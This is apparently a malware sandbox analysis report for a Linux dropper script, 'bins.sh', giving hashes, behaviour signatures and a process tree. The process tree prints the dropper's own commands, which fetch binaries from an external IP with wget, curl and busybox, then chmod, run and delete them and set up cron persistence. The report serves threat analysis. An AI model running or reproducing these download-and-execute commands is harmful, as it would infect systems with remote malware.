Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    24-11-2024 04:30

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    df284d43c50345c61fb4802b4396a3b3

  • SHA1

    ce94f3d5873280df0c3479ecd725dead3d66b5d7

  • SHA256

    65bb3378f20346a669cf034ec3b3d7760f53296e957bd7a6d3e64bd9e0cd608c

  • SHA512

    3ed1bc581779962db46652c8e0bf1911156c49bc6b5310e7012e499cdcd8ba85876d11fae05c70e0fc4939828d3aa737bf3ff3d3d1ec4e77fa6d85c8460bb031

  • SSDEEP

    192:y5FjD5EdIO+SHL394wy2tQgL394wj0twjD5EdI3:y5K+SHL394wy6QgL394wjwO

Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2075) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1552
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1553
        • /usr/bin/wget
          wget http://216.126.231.240/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
          • Writes file to tmp directory
          PID:1554
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
          • Writes file to tmp directory
          PID:1558
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
          • Writes file to tmp directory
          PID:1559
        • /bin/chmod
          chmod 777 U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
          • File and Directory Permissions Modification
          PID:1560
        • /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          ./U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
          • Executes dropped EXE
          PID:1561
        • /bin/rm
          rm U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
          2⤵
            PID:1563
          • /usr/bin/wget
            wget http://216.126.231.240/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
            2⤵
            • Writes file to tmp directory
            PID:1564
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
            2⤵
            • Writes file to tmp directory
            PID:1565
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
            2⤵
            • Writes file to tmp directory
            PID:1566
          • /bin/chmod
            chmod 777 gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
            2⤵
            • File and Directory Permissions Modification
            PID:1567
          • /tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
            ./gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
            2⤵
            • Executes dropped EXE
            PID:1568
          • /bin/rm
            rm gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
            2⤵
              PID:1570
            • /usr/bin/wget
              wget http://216.126.231.240/bins/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
              2⤵
              • Writes file to tmp directory
              PID:1571
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
              2⤵
              • Writes file to tmp directory
              PID:1572
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
              2⤵
              • Writes file to tmp directory
              PID:1573
            • /bin/chmod
              chmod 777 EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
              2⤵
              • File and Directory Permissions Modification
              PID:1574
            • /tmp/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
              ./EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
              2⤵
              • Executes dropped EXE
              PID:1575
            • /bin/rm
              rm EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
              2⤵
                PID:1577
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
                2⤵
                • Writes file to tmp directory
                PID:1578
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
                2⤵
                • Writes file to tmp directory
                PID:1579
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
                2⤵
                • Writes file to tmp directory
                PID:1580
              • /bin/chmod
                chmod 777 Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
                2⤵
                • File and Directory Permissions Modification
                PID:1581
              • /tmp/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
                ./Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
                2⤵
                • Executes dropped EXE
                PID:1582
              • /bin/rm
                rm Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
                2⤵
                  PID:1584
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/GvcRb28XLNlF8afT4YIaxTawz6AqhxPJr7
                  2⤵
                  • Writes file to tmp directory
                  PID:1585
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/GvcRb28XLNlF8afT4YIaxTawz6AqhxPJr7
                  2⤵
                  • Writes file to tmp directory
                  PID:1586
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/GvcRb28XLNlF8afT4YIaxTawz6AqhxPJr7
                  2⤵
                  • Writes file to tmp directory
                  PID:1587
                • /bin/chmod
                  chmod 777 GvcRb28XLNlF8afT4YIaxTawz6AqhxPJr7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1588
                • /tmp/GvcRb28XLNlF8afT4YIaxTawz6AqhxPJr7
                  ./GvcRb28XLNlF8afT4YIaxTawz6AqhxPJr7
                  2⤵
                  • Executes dropped EXE
                  PID:1589
                • /bin/rm
                  rm GvcRb28XLNlF8afT4YIaxTawz6AqhxPJr7
                  2⤵
                    PID:1591
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/jkl483rCXENqFgWu45yUCI1SaMMJqAxJba
                    2⤵
                    • Writes file to tmp directory
                    PID:1592
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/jkl483rCXENqFgWu45yUCI1SaMMJqAxJba
                    2⤵
                    • Writes file to tmp directory
                    PID:1593
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/jkl483rCXENqFgWu45yUCI1SaMMJqAxJba
                    2⤵
                    • Writes file to tmp directory
                    PID:1594
                  • /bin/chmod
                    chmod 777 jkl483rCXENqFgWu45yUCI1SaMMJqAxJba
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1595
                  • /tmp/jkl483rCXENqFgWu45yUCI1SaMMJqAxJba
                    ./jkl483rCXENqFgWu45yUCI1SaMMJqAxJba
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1596
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1598
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1599
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1600
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1601
                        • /bin/rm
                          rm jkl483rCXENqFgWu45yUCI1SaMMJqAxJba
                          2⤵
                            PID:1603
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/aTk5ClgJXnW0Ncixgj0n2HEIT1nboaDtqm
                            2⤵
                              PID:1606

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          • /tmp/EUkSi0nK2LL2fdpGBSvW7ypwi4eEJGQTa9
                            Filesize

                            111KB

                            MD5

                            ca897a38f23ec23521ce0b1b83f8422d

                            SHA1

                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                            SHA256

                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                            SHA512

                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            Download Submit

                          • /tmp/GvcRb28XLNlF8afT4YIaxTawz6AqhxPJr7
                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            Download Submit

                          • /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            Download Submit

                          • /tmp/Y8GpaZvz14KbHf9VFO5OUOkbFCjh3YR1G9
                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            Download Submit

                          • /tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            Download Submit

                          • /tmp/jkl483rCXENqFgWu45yUCI1SaMMJqAxJba
                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            Download Submit

                          • /var/spool/cron/crontabs/tmp.6prDGL
                            Filesize

                            210B

                            MD5

                            0fe1c54ab9e3b9453b4aea830a083dd8

                            SHA1

                            d710691f8a78b18d924fee27099bf443b1f50edf

                            SHA256

                            caef9dc824d37ec804c980e6ec8710d959d1ad871adf9bcb54eb7f7afcd0866e

                            SHA512

                            c7935a93815762d490c3814d87d18ef07d620d380296bcf483e3ba408b3dbd8329c8496700687598723e75fb4f983bef88247a6842131c8fcdff112995679682

                            Download Submit